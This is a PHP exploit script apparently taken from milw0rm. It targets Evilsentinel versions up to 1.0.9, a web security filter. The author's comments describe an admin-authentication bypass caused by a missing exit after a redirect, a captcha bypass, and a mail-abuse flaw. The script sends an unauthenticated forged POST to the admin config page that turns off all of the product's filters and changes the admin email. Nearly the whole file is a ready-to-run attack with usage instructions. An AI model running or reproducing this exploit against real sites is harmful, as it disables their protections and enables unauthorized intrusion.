#!/usr/bin/php -q -d short_open_tag=on
<?
echo '
Evilsentinel <= 1.0.9 Disable Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love
';
if ($argc<3) {
echo "Usage: php ".$argv[0]." Host Path [new_mail]
Host: target server (ip/hostname)
Path: path of Evilsentinel
new_mail: optional, specify a new admin mail
Example:
php ".$argv[0]." localhost / ";
die;
}
/*
Vendor site: http://evilsentinel.altervista.org
Explanation:
I've done a quick research on this platform.. just pen-tested it, not tested..
I have found some problems that affect this script:
1 - Admin bypass:
admin/index.php, line 13:
if( !es_islogged() ){
header( "Location: login.php" );
}
really need an explanation? 0_o
2 - captcha bypass
admin/config.php, line 40:
if( $_POST['es_security_captcha'] == $_SESSION["es_security_captcha"] )
simply do not call the file captcha.php, and do not set a post variable named 'es_security_captcha' to bypass
3 - spamming/anon mailing (not tested)
while into the ACP you can set a new mail for the admin.. putting the mail you want and attacking the site
with special forged HTTP_USER_AGENT headers you can send a mail with (also) the text you want
BlackHawk <hawkgotyou@gmail.com>
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
if (isset($argv[3]))
{
$mail=$argv[3];
}
else
{
$mail = 'someone@somwhat.somewhere';
}
$port=80;
$proxy="";
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "Deactivating the system..\r\n";
$data="get_filter=0&post_filter=0&cookie_filter=0&xss_filter=0&rfi_filter=0&lfi_filter=0&sql_filter=0&email_notify=1¬ify_email=$mail&referer_filter=0&referer_trigger=&ex_list=&ip_tracking=0&confirm=obviously";
$packet="POST ".$p."admin/index.php?action=config HTTP/1.0\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: $host\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "Evilsentinel is off\r\n";
?>
# milw0rm.com [2008-01-10]